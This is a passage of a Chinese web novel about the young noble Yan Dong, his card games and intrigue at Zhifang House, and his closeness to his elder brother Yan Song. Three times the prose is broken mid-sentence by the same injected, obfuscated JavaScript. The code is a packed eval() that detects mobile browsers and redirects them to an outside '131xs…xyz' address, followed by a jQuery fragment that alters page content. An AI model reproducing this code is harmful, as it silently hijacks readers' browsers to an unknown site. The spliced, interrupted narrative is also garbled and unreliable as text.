此时气氛稍显尴尬,李漱阳清了清嗓子,说:“栀芳楼新排了支《梅仙》,用的是若冲的新曲子,请诸位共赏。” 他拊掌两声,前边空地落下一道白纱,帘幕掩映,随着箫声渐近,隐约露出梅簇的形状。琴声间入,“梅簇”抖动,原是数十个曼妙女子扮出来的。 三皇子欣赏了片刻,目光收回途中却停在了燕冬的侧脸上。燕小公子没让人伺候,正在低头剥蟹,神情认真,好似面对的不是一只美味肥蟹,而是一篇晦涩的文章——这神态和他小时候简直一模一样,只是那张精雕玉琢的脸少了稚嫩,已经显出年轻人的漂亮根骨。 突然,燕冬抬眼看了过来,“您瞧我做什么?我又不能下酒。” 三皇子说:“只是觉得你长大了。” 燕冬立刻警惕,“不要给我塞婚事!” 三皇子一愣,失笑道:“怎么这么想?” “孩子长大啦?说亲了没有啊?没说啊?来来来,我这里有一桩婚事很不错的哟——这些万恶的套话,我已经看透了。”燕冬摇头晃脑、模仿腔调,表情冷酷。 三皇子看了燕冬几眼,没忍住笑,一边笑,一边揉燕冬的后脑勺,说:“我看错了,你还没长大。” “看什么呢?吃啊。”侯翼撞了下鱼照影的胳膊。 三皇子收回手,鱼照影也收回目光,摇头说:“没什么,可能是我太敏感了。” 侯翼茫然地啃了口猪蹄。 箫声渐弱,燕冬把碟子里的肥蟹也享用完了,一只手突然搭上他的肩膀,乌盈从后面挤他,“心肝儿,帮个忙。” “恶心,别拿你和姑娘们调|情的法子对我。”燕冬瞥了眼搁在肩头的那张脸,冷漠地说,“有事求我先磕头。” “祖父狠心要收拾我,竟然想请燕世子代为管教——” 乌盈还没来得及哭诉自己对阎王爷的敬畏胆颤和想要距之八丈远的决心,燕冬就“唰”地变了副面孔,虎着脸说:“凭什么?你谁啊你?我大哥忙得团团转了还要管教你,你配吗?” “我不配!”乌盈双手合十,拿头往燕冬肩上磕,“所以你千万要和你慈悲可亲善良可敬的大哥说好,请他别答应!” 燕冬说放心,保准不答应! 乌盈浑身一松,瞬间变回风流翩翩佳公子,他和燕冬碰了杯酒,揽住两个刚从舞幕后出来的姑娘,左拥右抱,好不熟练。 胭脂香扑盈四周,燕冬不大自在地赶人,“你自己没有席次吗?” “哟,害羞了?”乌盈贱笑,“我说冬儿,你也十八了,可不能再像个毛孩儿了。来,蝶烟、玉纤,快敬咱们燕小公子一杯! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485180|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 乌盈好曲,平日流连栀芳楼,今日来的又都是楼中翘楚,他打眼一瞧就能说出姑娘的芳名。 坐在乌盈左臂的姑娘先行奉酒,目光盈盈,笑语娇嗔,一句话能带十八个小波浪,燕冬饮下她的酒,另一个便紧随其后。 这姑娘生得尤为婉丽,但敷粉太重,反而掩盖了好颜色,她瞧着燕冬,有些挪不开眼。 乌盈见状也看向燕冬,燕小公子如珠似宝,命是,模样也是,干净莹润漂亮,到哪儿都是万里难挑一的皮相,若是生成个走马章台的花花公子,那必定也是位满楼红袖招的风流桃花客。他见燕冬先前也多看了玉纤一眼,便朝蝶烟暧|昧一笑,揽着人回坐席了。 玉纤明白,这是要她留下伺候。她捧杯侑酒,燕冬却抬手阻拦,抄着手说:“再喝要醉,回家让大哥知道,他要不高兴。” “续明管得太严了。”三皇子说。 “才没有。”燕冬立刻反驳,“大哥待我很宽容的。” 许多十八岁的都议亲了,早些的甚至都已成家,燕冬却还像个被长兄管教的孩子,偏他看着没有被管教束缚的不满,面上话语间都是“一个愿打,一个愿挨”的自得满足。 三皇子知道再说要惹燕冬不快,便只是笑了笑。 楼上酒兴融洽,楼下轻歌曼舞,和宝坐在花厅后的红栏上,望着前方亭里那群作画的学子,偶尔摇头啧声,偶尔点头赞许。 “那是谁?一个下人,竟敢品评国子学学生?”有人轻蔑地瞧了和宝一眼。 “小点声!”旁边的用气声说,“那是燕小公子的随从,据说打小就跟着主子。” 燕家是勋贵将门,府中扫地喂马的都会一招两式,主子跟前伺候的自然也有些长处。譬如燕家管家就刻的一手好木雕,曾经给陛下雕了一小棵红豆树,陛下爱不释手,至今还摆在寝殿里。 那人讪讪,在和宝看过来那一瞬飞快地避开了对方的视线,好似突然对脚前的花坪产生了极大的兴趣。 和宝收回目光,懒得管旁人,从兜里掏了颗糖吃,继续看着人家作画。他不是大家,但这些学生也没有那般高远的意境,尚且看得懂。 “和宝小哥,”厅里出来一个侍从唤他,“小公子下楼了。” 和宝应声下地,转身快步进入厅门。他从衣柜取出披风帮燕冬披上,“今儿走这么早啊?” “得早点回家歇着,明早才起得来。”燕冬说。 他家主子这是打定主意要向世子爷表孝心了,和宝笑了笑,收手抬眼时瞧见后头下来一位姑娘,脚步不甚轻盈。 恰好姑娘抬起脸,霎时四目相对。她先是一愣,旋即连忙上来见礼,“小郎君。” “这就是元大夫要救人救到底的那位姑娘。”和宝小声和燕冬解释,随后对玉纤说,“姑娘有礼,这位便是我家主子。” 玉纤看向燕冬,就要伏地道谢,燕冬示意和宝将人拦住,“我只是帮元大夫一个小忙,姑娘不必放在心上。你既身子不适,就早些回吧,若有人问起,就说是我的意思。” 说罢转身离去,和宝迈步跟上。 玉纤也要离去,就跟着一道走了。待走出大门,她向燕冬福身,“多谢小公子体恤。” 燕冬抄着手,微微颔首,“去吧。” 玉纤后退三步,折身离去。 燕冬正要下阶,却感觉到一道熟悉的注视。他循向偏头,西边的墙根下停着一辆马车,窗开了小半扇,车内的人已经收回目光,侧脸被车窗和霞光间阻得半明半暗,瞧不清喜怒。 燕冬立刻噔噔噔地跑了过去。 常春春丢掉戳泥巴玩儿的小树枝,起身抬起胳膊扶着燕冬踩蹬上车。 人蹦进来,差点撞到茶几,燕颂淡声说:“慢点儿。” 燕冬挤到燕颂身旁坐下,“用膳了吗?” 燕颂翻了页文书,“用了。” “你怎么在这儿?”燕冬问,“来接我的吗?” “今日下值早。”算是默认,燕颂看了眼笑眯眯的人,突然合上文书,“吃得好吗?” “还成,”燕冬说,“你来怎么不告诉我呀?” 燕颂淡声说:“怕打搅你的雅兴。” “怎会?”燕冬理所当然地反驳,“若早知你来了,我就立马出来接你了,或者更早些出来跟你回家。” 燕颂翻开文书,上头那些恼人的模糊黑团终于变回了一个个的工整小字。他暂时放弃询问方才和燕冬说话的女子相关,淡淡地笑了笑,说:“嗯,回家。” 18.好奇 乌尚书请燕颂管教孙子的计划果然落空,乌盈渡劫成功,寻了个好天气请恩人上栀芳楼玩牌。 栀芳楼到顺天门街顺路,燕冬便去了。 管事姑姑亲自来迎,将燕冬引到楼上雅间,一门之隔,古琴悠然。侍卫行礼开门,燕冬绕过十二扇美人香屏一瞧,他到的最晚,桌上除了乌盈,还有五皇子和鱼照影。 燕冬落座后调侃对坐的人,“二殿下和三殿下都在办正事,您却跟着咱们打牌,不出明日,御案上就要摞着参您的折子了。” “参嘛,少不了几块肉。”五皇子拨着牌,笑眯眯地说,“而且,我办正事的时候,你是没瞧见。” 这人笑起来像只狐狸,不像善茬,说的话也不是好话。 茶是极好的金镶玉,汤黄气清,燕冬抿了一口,悠哉悠哉地说:“可千万别让我瞧见。” 鱼照影笑了笑,“人齐了,开局吧。” 牌是琥珀制的,水红剔透,瞧着悦目,摸着舒服,燕冬一手抱着手炉,一手熟练地码牌。他的牌是跟着崔家表哥学的,牌技也是随了师傅,到哪桌都能大杀四方。 “什么烂牌,去!”连输三局,乌盈有点恼了,怪古琴不够悠顺怪香气不够怡神怪牌太烂,就是不怪自己牌技差,上桌就只有当虾米被人吃的份儿。 燕冬是空手来的,这会儿托盘上已经放了一小摞砝码了,他叹了口气,“跟你玩儿真没意思。” “厉害师傅就在眼前,若冲,你要不赶紧磕头拜师算了。”鱼照影揶揄。 “可别,”燕冬刻薄地说,“当我是收破烂的啊,我收徒也是有门槛的。” 乌盈挠头,振振有词地说自己的天赋都点在乐曲上了,别的平庸差劲些也能理解。 这话倒真不算吹嘘,乌盈潇洒美少年,能弹会作,在乐坊舞肆如鱼得水,到了宫宴御前也是出手而六马仰秣,赢得满堂喝彩。 五皇子调侃,“不亏你周岁宴时在那么多玩意儿里抓了把古琴吊坠,这就叫冥冥之中早有注定。” 燕冬百无聊赖地把玩着骨牌,闻言一乐,按照这说法,那他抓上来一只长兄,就是注定要一辈子兄弟情深的意思。 想到燕颂,燕冬叫了人进来,“什么时辰了?” “申时二刻。”霞晖从屏风后绕进来,在鱼照影身后站定,后头跟着奚望。 奚望把蜜饯金橘放在五皇子手边,乌盈尝了一块儿,腻得恨不得搓牙花子,连忙灌了小半杯茶下肚,“才来多久就想走了?”他撺掇其余两人,“瞧瞧,燕小公子这是不乐意跟咱们玩儿。” “别介,我是怕过了时辰,等会儿还得去接我大哥下值呢。”燕冬抬头催促鱼照影出牌,不经意间瞥到后面的霞晖,还是利落劲装,交领左侧的锁骨处却隐约露着半圈牙印。 “哪条狗咬的?”燕冬有些好奇,按霞晖的武功,不至于吧?何方狗圣如此厉害? 霞晖对上三人齐刷刷的目光,愣了愣才反应过来燕冬在说什么,他快速抬手扯了下衣领,笑着说:“小公子见谅,狗头上没写大名。” 燕冬说“哦”,却听乌盈扑哧一声,“霞晖,敢糊弄咱们燕小公子,你不老实。” 霎时,五皇子笑了,鱼照影也笑了。 燕冬摸不着头脑,“我很好笑吗!” “不好笑。”霞晖笑着说,“是怕带坏了小公子。” 燕冬更茫然了,他瞧了眼挤眉弄眼的乌盈,从对方眼中读出两个字:暧|昧,终于恍然大悟,什么狗咬的,分明是人咬的。 当着旁人的面,燕冬没看鱼照影,只瞪着霞晖,“你不老实!” 霞晖上前给燕冬捧茶赔罪,“我错了,小公子大人有大量,千万饶恕我一回。” 燕冬倨傲着下巴抿了一口,勉强原谅了他,霞晖笑着道谢,搁下茶杯折身回到鱼照影身后。 燕冬早说了要去接燕颂下值,日落时分,牌桌散了,其余三人去食楼就没带着他。他到了审刑院,这回燕颂在衙门,只是在堂上议事,暂时没法见。 廊上挂着雕镂铁架,坐着只黑鹰,见了燕冬就振翅绕着他飞了一圈,还想往燕冬头上坐,被他一通乱拳打飞了。 一旁的任麒笑着说:“墨官平日除了大人和饲鹰倌,也就和小公子亲。” 燕冬心情不错,给墨官喂了肉,顺着廊溜达。拐角坐了盆茶花,红白相间,他驻足观赏了几眼,说:“红玛瑙啊,品相不错,可惜开得不够好。” “早听说小公子院里有两棵红山茶,盛开时攀檐遮壁,浓烈如火,养得极好。”任麒说,“这盆若是能入您贵眼,不如就请小公子带回去,帮我照料照料?” “哟,”燕冬看了眼任麒,“任主簿也喜欢养花?” 任麒惭愧地说:“附庸风雅却不得要领,让小公子见笑了。这不,今儿能遇见小公子,是它死里逃生的福气。” 燕冬听出来了,这花是特意坐在这儿等他呢。 先前燕颂毫无预兆地拆穿了任麒的身份,当时因为燕家的飞书,燕颂没了纠缠的心思,可回来有段日子了,日日抬头不见低头见的,燕颂却从没提起这茬,跟忘了似的,这让任麒心里更加七上八下,每天从出门上值就开始忐忑,恨不得直接去燕颂跟前求个痛快算了! 燕颂俨然是个不好讨好的上官,任麒只能“借力打力”,而目下没有比燕小公子更强悍的“力”了。 此时见燕冬不说话,任麒心里一紧,又道:“临近年关,我想给大人备份薄礼,感激大人的栽培之恩和宽仁之情,但实在不知送什么好,又怕乱送东西反而让大人不喜。前阵子在潞州,我瞧大人好似对红山茶颇为爱怜,先前又在李小侯爷的牡丹会上听说了您院里那两棵红山茶,便斗胆备了这花,正所谓‘投其所好’么不是?” “我听明白了,”燕冬伸指点了点任麒,“任主簿这是先来收买我,教我去帮你讨上官的好?” “小公子什么宝贝没见过,哪能被一盆花收买?”任麒赔笑,“只是有个词叫‘爱屋及乌’,小公子若喜欢这花,大人说不准也要赏它半分好颜色呢。” 任主簿以花喻人,盘算得倒是坦率,可燕冬不确定这人是不是燕颂的嫡系,哪里能轻易松口?他正要说话,就听身后传来一道声音: “喜欢就收下。”燕颂负手走到燕冬面前,瞧了眼那盆玛瑙,“品相不错,任主簿是用心选的。” 燕冬闻言说:“那就多谢任主簿了,我待会儿一道带走。” 任麒万万不敢受这份谢,又说了两句好听的话,便先行退下了。 燕颂看了眼那背影,转身揽住燕冬,低头把人瞧着。燕冬眨巴着眼睛,也仰头瞧着他,看着可乖。 燕颂笑了笑,“打哪儿过来?” 燕冬如实说了,颇为自得,“乌若冲那个蠢蛋,输了我八百两。” “真厉害,”燕颂不吝夸赞,“那小富豪这会儿过来有何贵干?” 燕冬说做人不能忘本,发达了也要来接大哥回家。 小混账乖的时候很可心,燕颂心悦气顺,跟着燕冬下值归家了。 那头,文政楼的仇主簿抱着一摞文书进入书房,里头竟然没人。他放下文书,出门问:“大人出门办差了?” 廊上的校尉摇头,“被小公子接回家了。” “国公府有要紧事?” “没有,就是接回家了。”校尉说,“小公子来了,大人跟着走了——就这么简单。” 仇主簿杵在原地,回想起方才议事时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490442|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吩咐他将待批文书整理好拿过来、声称今日就要处理干净的上官,明白了。 大人这是旷值了! 不能说旷值,只是今夜不在府衙,改为回府理事。燕大人坐上马车,燕冬上车后就凑到他身边,抬手捂住半张脸,神神秘秘的,“我最近发现一件事,关于鱼儿的。” 燕颂从柜子里取了包梅子糖,给燕冬喂了一颗便放回去,“什么?” 燕冬舌尖一卷,左腮帮子就鼓了起来,裹着糖。他小声说:“他和霞晖不清白,他们还做那档子事儿。” 凑得近,燕冬说话时燕颂能嗅到酸酸甜甜的梅子糖味儿。他垂眼看着小贼般的燕冬,“你有想法?” 燕冬神情纠结,又露出点隐秘的羞涩,“做那档子事真的很舒服吗?” 燕颂:“。” 他睨着燕冬,“你很好奇?” “有一点。”燕冬老实地说,“你不让房事嬷嬷教我,我到现在都不知道那档子事怎么做呢。” “哟,”燕颂似笑非笑,“这是怪哥哥把你管得太严了?” “哪有?”燕冬摇头三次表示对大哥的绝对服从,“我只是有点好奇嘛。乌若冲那个王八蛋经常嘲讽我,还骂我是小雏鸡!现在鱼儿也沉迷其中……” “好奇可以,但不要胡乱跟朋友们学,至于舒不舒服,”燕颂认真地说,“大哥也不知道,但根据目下的认知,舒不舒服取决于双方的关系、技巧和契合深浅。” 燕冬似懂非懂,“哦……好像有点复杂。” “好了,先不想没影的事。”燕颂屈指敲打燕冬的额头,把他脑子里那些遐想敲走,“我方才是想问对于在溪和霞晖的关系,你有何看法?” “起初很震惊,后来又有点不解。”燕冬说,“鱼大和李海月结亲是门当户对,互有来往,可鱼儿和霞晖……我并非瞧不上霞晖的出身,只是此事若传出去,鱼儿会不会错失世子之位?” “傻孩子。”燕颂手痒,忍不住捏了下燕冬的脸腮,淡声说,“鱼家和安信侯府结亲是有利有弊,他们夹在二皇子和五皇子之间左右为难。至于在溪,他和霞晖若是非卿不娶、非君不嫁,那的确会叫人拿住把柄,可若只是夜间消遣,那就好比是狎|妓子养小倌儿,出不了大事。” 燕冬明白了这个,又还有那个不明白,“可他们是自小相伴的主仆,有独一份的情谊呀,鱼儿若只是为了纾解欲望,何必非要找霞晖呢?若是以后他俩撇清了这种关系,当真还能心无芥蒂、一如从前吗?” 燕颂闻言垂了垂眼,只是燕冬忙着操心,没有看向他。 * 燕纵下值后回了殿前司公廨,亲卫段秋守在正堂上,见他进来就跟着进了西厅。 外面有人把守,段秋进门后说:“您让盯着的人有动静了,他去了栀芳楼。” 燕纵挑眉,“听曲儿?” “不,他在楼外徘徊,今日搭上了礼部员外郎和渡,一同进了楼。”段秋说。 如今找宋风眠的人多,人却跑去了栀芳楼,不仅胆子大,这里头的事也值得推敲。 燕纵将刀放在刀架上,折身在窗前的北官帽椅上坐了,暮光打在他过分英俊的脸上,映出几分凌厉。 段秋有些心虚地摩挲刀柄,“这人是世子带回来的,咱们偷偷查他,世子那里?” “他仍在大哥的注视之中。他今日做的事要么是得了大哥的默许,要么就是出自大哥的授意,可大哥要把这颗不安分的棋子放在哪儿呢?”燕纵抬手敲窗,招来一个亲信,低声叮嘱了两句,“去吧。” “对了,不仅咱们在查这个人,还有一方也盯得紧,是……”段秋挤眉弄眼,“熟人。” 燕纵笑道:“小祖宗,真不老实!” 19.迟钝 接连几日都去栀芳楼,以宋风眠的处境,不大可能是去听曲儿的,燕冬觉得这里头有鬼。 这栀芳楼里到底有谁在啊? 闲来无事,他打算去瞧瞧。 栀芳楼常日丝竹不歇,这种地方必定少不了乌盈,燕冬一进四方厅就瞧见那小子抱着把琵琶坐在莲花铜座上,指尖在弦间活泛来去,形容欢畅,花灯盈暖,笼着他,人似在发光。 “乌公子当真好乐。”常青青感慨,“他是天才,可惜乌侍郎不会同意。” 乌盈其父现任礼部侍郎,是个严肃古板喜欢教训人的,和燕冬他们这种爱闹腾的晚辈两看两相厌,彼此避之不及。但父子俩在同一屋檐下,无论如何都避不开,不知争吵了多少次,为的都是一件事——乌盈的前程。 乌侍郎一心想让乌盈入礼部,不是要他去各大典礼上吹拉弹奏,而是穿紫袍系玉带。那里不是乐场,是官场,不是乌盈向往的地方。 人群拥着乌盈,如痴如醉,燕冬没上去打搅,折身时瞧见从前方楼梯下来的女子。 玉纤怀抱画面琵琶,袅袅婷婷地走到跟前来,福身道:“小公子。” “正要找你呢。”燕冬找了个安静的角落落座,常青青自然地将药瓶塞给玉纤。 玉纤感激道:“小公子菩萨心肠,必有福报。” 燕冬仰上藤椅椅背,拿起食单一翻,说:“顺手的事,这都是菩萨心肠,那天底下的菩萨还真不少。” “顺手顺路的事,可旁的公子就不会做。”玉纤凝视着燕冬,柔声说,“小公子的心是热的,软的。” 姑娘美目含波,春水盈盈,偏燕冬不上道,“那心要是冷的硬的,人不就是死的吗?” 常青青:“噗嗤!” 燕冬拿扇柄敲他的屁股,常青青笑着尿遁了。他猴儿似的蹿出人群,待进入茅房,脸上的笑意瞬间消失,从怀间摸出一张纸。 是栀芳楼的地图,叫几个人进来摸索一圈得来的,不够精细但也够用。 常青青飞快地看了一眼,确认脑中的地图没有记错的地方,而后揣了回去,伸手摸了下绑在大腿外侧的匕首,面色如常地推门走了出去。 燕冬接过当午递来的甘蔗汁,“听若冲说你的琵琶好,弹一曲吧。” 几步外的玉纤颔首,在一旁的绣墩上优雅落座。 期间不停有人来和燕冬说话,青袍绿袍绯袍,眼都花了,燕冬终于不耐烦了,“啧。” 刚到面前的这位绿袍一哆嗦,原地一个撤步,溜了,“在下告退!” 一个绯袍扒在不远处的丹柱后头偷笑,燕冬眼尖,勾了勾手,对方连忙正形,迈步过来。 “燕小公子。”绯袍官员垂首行礼,眼前是一角挑人的鹅黄袍摆,绣着精致活泛的白梅枝。 燕冬打量眼前这年轻官员一二,说:“坐。” 绯袍官员很是惊讶,连忙道谢,在一旁的空椅上正襟危坐。他不敢乱看,可余光里,燕冬撑脸的手背白皙柔润得像一团云。 “你叫和……” 燕冬尾音微延,绯袍官员立刻说:“拙名和渡。” “对,和我们家和宝五百年前是本家。”燕冬笑了笑,“我记得你,你去年把安信侯府的李漱光骑在身|下打得娘都不认识,嗷嗷哭了一路。当时我打街上路过,还给你鼓掌来着呢。” 和渡有个妹妹,因生得淡雅出尘,又擅茶艺,被街坊四邻取了个“云华娘子”的美称。李漱光好色,那阵子相中了人家,无奈安信侯府不好得罪,和家姑娘怕给兄长惹麻烦,几次被骚扰都忍耐不提,直到事发当日,李漱光当街动手动脚,让下值归家的和渡逮了个正着。 这个和渡当时在礼部任六品主事,据说谦逊温和,做事也利落稳当,很得上官看重,没想到打起人来那叫一个状若疯牛。 燕冬路过时,地上已经躺了三四个侍从,他趴在车窗后见和渡骑着李漱光一通乱拳,把人打得屁滚尿流,不禁拍手称快。 和渡闻言霎时一股热气直冲脑海,磕磕巴巴地说:“让、让小公子见笑了,我——” “诶。”燕冬懒得听这些虚话,“李漱光和贺申交好,我自来看他们不顺眼,你打了他,我就得夸你。” 这话孩子气,说话的人笑得也很孩子气,眉眼鲜灵灵的,和渡大着胆子贪看了一眼,紧绷的脊背松了些,脑子却更晕了。 燕冬抿了口甘蔗汁,“对了,听说令妹做的茶汤丸子是一绝,一般什么时候卖,改日我尝尝去。” 和渡下意识要表谦逊,话到喉口记起眼前这位不喜虚话,连忙又咽了回去,说:“只要天好,家妹的小茶馆都开张,茶汤丸子一日有个三十碗,小公子若愿屈尊尝尝,届时请提前告知,我让小妹给您备着。” 见燕冬舔了舔唇,俨然是个爱吃的,为着真心推荐、也为着能多和对方说两句话,和渡犹豫了一下便斗胆介绍说:“我有个朋友,做得云华糍当真一绝——” 琵琶声铮然一惊,和渡吓了一跳,偏头看向玉纤,对方脸色煞白,像是突发恶疾。 燕冬也偏头看去,左手食指不禁若有所思地点了下椅子扶手。 “小公子恕罪,这弦坏了一根……”玉纤抬手按住断弦处,俯身跪下,“请容奴下去换一把。” 天鹅颈弧度柔顺,怯怯的紧绷着,和渡不禁看向燕冬,后者只是看了玉纤一瞬,不甚在意的样子,“无妨,我过会儿就要走了,你歇着吧。” 玉纤暗自松了口气,道谢后起身退下了。 她步伐匆忙,很快就消失在视线之中,燕冬收回目光,若无其事地看向和渡,“云华糍,”他懒散地趴上扶手,好奇道,“我没吃过,但顾名思义,是茶香味儿的?” 和渡撑着颈子和那双琥珀珠子对视,晕晕乎乎地说:“是的,和透花糍的作法差不多,只是把里头的豆沙换成清香的茶馅儿,用来配牛乳、花茶等很合宜。” 燕冬说:“听着不错,怎么没什么名气?” “小公子不知,我这朋友不是开店做生意的,他与我同为朝官,平日做的点心都便宜了我们这些亲朋好友。”和渡解释说。 燕冬好似随口一问:“哦,你这朋友贵姓?” 和渡回道:“他叫梁木知,现任兵马司副统领。” 兵马司属隶属禁军司,管京城巡防,是个重要衙门,燕冬知道梁木知,但了解不多。待出了栀芳楼,他和从栗子摊回来的常青青说:“回去叫人查查兵马司的梁木知,这会儿先去大哥那儿。” 当午赶车,常青青跟着燕冬进入车内,“我在楼里找到了贾德,您猜他在做什么?” 燕冬塞给他一颗栗子,“快说。” 常青青嚼咽了下去,说:“这人鬼鬼祟祟,像是在找什么,他最后还想摸进后院的管事楼,但碍于有人把守,就先撤了。” “什么才能让他数次冒险离开燕国公府并哄着和渡那个愣子帮自己进入栀芳楼呢?”燕冬嚼着栗子,转着脑子,栗子咽下去了,他脑子也停下了,有了两种猜测:四皇子,或者报仇。 无论哪种,都说明栀芳楼不简单。 “我跟您说,除了我和贾德,还有个鬼鬼祟祟的。”常青青拍拍大臂,“蒙面劲装,看不清脸,但身材劲瘦,是个练家子。” “哟,够热闹的。”燕冬若有所思,“今儿这趟来着了,这栀芳楼里暗藏玄机,不知藏着多少秘密呢。” “公子真要为了宋风眠插手这些事?招来多双眼睛,说明这事可能不小,如今这个当口更容易招来是非。”常青青说。 “我不是为了宋风眠。”燕冬说,“咱们也不必特意探查,大可循迹而去。” 常青青没有追问燕冬到底是为了谁,只说:“那现下该循哪处?” 燕冬把栗子往上一抛,“和渡。” * 楼上,和渡盘算着立刻备礼去麻烦梁木知做一份云华糍,正要离开时却被一同僚拉住胳膊,两人走到角落处站定。 和渡说:“有话请说,做贼似的。” “和大人,你不老实,竟真偷偷地攀上了燕小公子!”对方目露谴责,又捧手请求道,“能不能给我指条门路,我真的不想努力了!” 攀高枝不好听,在他们这种读圣贤书的读书人听来更是诛心,可说来奇怪,和渡此时听着却不觉生气,只说:“误会了,燕小公子的枝紧挨着天,我要竭力才能仰望,哪里又能攀上?” “还想瞒我!”同僚说,“去年燕小公子出手帮你时我就觉得奇怪,你——” 和渡冒失地打断,“等等,此话何意?” 同僚“嘿”了一声,正要惊叹和大人装傻功力深厚,却见对方一脸茫然着急不似作假,不由愣了愣,“你当真不知?” “当真!”和渡急忙捧手,“还请明言。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494652|169559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你去年当街勇揍李三公子,这件事你以为是谁帮你摆平的?”同僚做了个翅膀飞飞的手势,“燕小公子!” 和渡茫然道:“这……怎会?” “哎哟,我的和大人!”同僚不可思议地觑着他,“你当街暴打李三公子,把人家安信侯府的脸面踩在脚底下作贱,结果不仅没事还升了官儿,你难道就没想想其中的缘故?真当自己是菩萨庇佑不成!” 和渡呐呐,“我以为是祖宗保佑。” “……”同僚闭眼,“事发当日傍晚,燕小公子把你写的那篇《科考细则修改条陈》拿给陛下看了,陛下觉得不错,就拿你补了员外郎的缺。你这头一升官,虽然只是个从五品,可落在安信侯府眼里就是陛下要保你,他们岂敢再动你?” “竟是如此……竟是如此!”和渡震惊又茫然,脑子里一时杂乱无序。 “此事那些大人物心里都有数,二皇子因着此事还找过燕小公子呢。”同僚说。 “可你是怎么知道的?”和渡说,“你又不是大人物。” 同僚捂着被刺痛的心,说:“当时二皇子纳夫人,我进出皇子府时正巧瞧见二皇子和燕小公子在亭下说话,二皇子被燕小公子顶了几句,气得直戳燕小公子脑门。” “原来如此。”和渡怔怔偏头,看向先前燕冬坐的那把椅子,那金尊玉贵的小公子似乎还坐在那里,色欺桃花如梦中人。 * 闹腾鬼不去找朋友们四处撒野,又跑到公廨来了,常春春站在廊上,望着越来越近的人影,纳闷道:“小公子这是哪一出啊?” 手中朱笔不停,燕颂说:“自然是要拆了我的‘命定之缘’。” 常春春腹诽:哪有什么命定之缘,还不是您用来诓“蛙”跳脚的借口? “蛙”满面天真地上了廊,说:“吃栗咂!” 常春春拿了颗栗子,笑着道谢。 燕冬进了书房,凑到书桌后给燕颂喂了一颗,他也不说话,侧身屁股一抬就坐上了桌,一只脚撑着地,一只脚悬空,悠闲地晃了两下。 他小时候这样坐没坐相,燕颂是要说他的,避免养成坏习惯,长大后就懒得管了。 “今日要晚些,若是坐不住就先回家。”燕颂说。 “我来都来了,肯定要和你一起回家。”燕冬眼神一转,正要找点东西打发时间,就看见桌上放着一张册子,那样式是——罢馆考试放榜了。 燕冬心里一跳,屁股一抬下了桌,围着桌子绕了半圈,朝燕颂的另一方摸进,然后瞅准时机,猛地伸手—— “啪。” 燕颂伸手按住那只做贼的手,轻轻地赏了一巴掌,先拿起册子,说:“今年倒是放得快。” “我们仨以劳代罚得那么勤快,当然快了!”燕冬俯身趴到燕颂背上,下巴枕着对方的左肩,目光径直怼上册子下方,只见那里赫然是一个金色的“魁”字。 “哇,第一第一第一!”燕冬抱着燕颂的脑袋一通瞎蹭,“我厉不厉害!”撞撞燕颂的头,“厉不厉害!” “嗯,厉害。”燕颂仔细地看了一眼,武科、墨义、明法等都是“优”,那道策题却是“差”,他颇觉不可思议,“跟我说说,是怎么写出能得这种评级的好东西的,嗯?” 他偏头,恰好燕冬正直勾勾地侧着脸看他,霎时鼻尖相对,隔着一点稀薄的空气,是蹭着了还是没蹭着,燕冬竟然分辨不清,只觉得鼻尖好痒。那股子痒钻进了肉里,在骨头缝里蹿来蹿去,搞得他开始晕乎乎的。 两人都静了静,书房气氛微妙,墨官那个没眼力见的小畜生飞到窗沿上,用头撞了下窗,叫嚣着听不懂的鸟语。 燕颂回神,抬手摸了下燕冬的脸,有些烫。他笑了笑,说:“哥哥在问你话。” 燕冬迟钝地回神,盯着近在咫尺的漂亮眼睛,含糊说:“不记得了……” “哥哥”,这两个字平时不常从燕颂嘴里说出来,燕冬回味着方才燕颂说的这个词,觉得它有股含糊不清、意味不明的味道,他说不清楚,但被那好听的声音和语气勾得心里痒痒,忍不住抱紧燕颂的肩膀,小声说:“我好像发烧了,晕……” “好好的发什么烧?”燕颂捏了捏燕冬的脸腮,失笑道,“好了,差就差吧,这次不说你就是了。” 这是以为他在示弱求饶呢,燕冬嘿笑,心里却有点惶恐,他好像是真的……发烧了啊。